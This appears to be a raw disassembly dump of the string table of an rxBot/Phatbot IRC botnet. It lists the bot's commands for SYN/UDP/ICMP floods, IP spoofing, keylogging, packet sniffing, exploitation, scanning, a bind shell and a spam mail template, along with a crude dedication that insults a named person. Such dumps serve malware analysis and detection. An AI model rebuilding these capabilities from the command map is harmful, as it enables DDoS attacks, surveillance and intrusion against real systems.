aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
unk_42B08C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 4
aP:					; DATA XREF: sub_401ACD+505Ao
					; ___:00438308o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
aU:					; DATA XREF: sub_401ACD+4FE7o
					; ___:00438300o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 10h
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B214	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B250	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B298	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCDo
					; ___:00438338o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
aE:					; DATA XREF: sub_401ACD+4B03o
					; ___:004382F0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 4
aM:					; DATA XREF: sub_401ACD+4909o
					; ___:00438348o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 4
aA:					; DATA XREF: sub_401ACD+48ADo
					; ___:0043830Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 10h
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B424	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B440	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 4
unk_42B46C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B48C	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B514	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 10h
unk_42B560	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B59C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5D8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44DAo
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B61C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B648	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B694	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B720	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4345o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B74C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B774	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B7A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B820	db  2Dh	; -		; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B850	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B878	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B8A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B8E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B91C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FCo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B94C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
aV:					; DATA XREF: sub_401ACD+3FCBo
					; ___:0043833Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; ___:0043866Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
aK:					; DATA XREF: sub_401ACD+3DD3o
					; ___:00438328o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 10h
aJ:					; DATA XREF: sub_401ACD+3D55o
					; ___:00438324o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; ___:00438344o ...
		unicode	0, <n>,0
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
dword_42BAA8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 0
dword_42BAC0	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB9o
		dd 1
dword_42BAD8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 10h
dword_42BB20	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB48	dd 636364h		; DATA XREF: sub_401ACD+366Co
dword_42BB4C	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB58	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
dword_42BB60	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 10h
dword_42BBD0	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EFo
dword_42BBE4	dd 7463h		; DATA XREF: sub_401ACD+32A0o
dword_42BBE8	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
dword_42BBF8	dd 5Fh			; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
dword_42BBFC	dd 6D70h		; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
unk_42BC00	db  2Dh	; -		; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BCA8	db  2Dh	; -		; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 4
unk_42BD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD88	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDB4	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_42BDE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42BEA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BEDC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD2o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 10h
unk_42BF10	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BF50	db  2Dh	; -		; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BFB8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD9o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFE0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
dword_42BFF0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42BFFC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C00C	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B09o
dword_42C01C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 10h
dword_42C050	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 10h
unk_42C0A0	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42C0CC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D9o
		dd 2E7325h
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42C120	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Bo
		dd 65726874h, 2E736461h, 0
dword_42C140	dd 627573h		; DATA XREF: sub_401ACD+2935o
dword_42C144	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
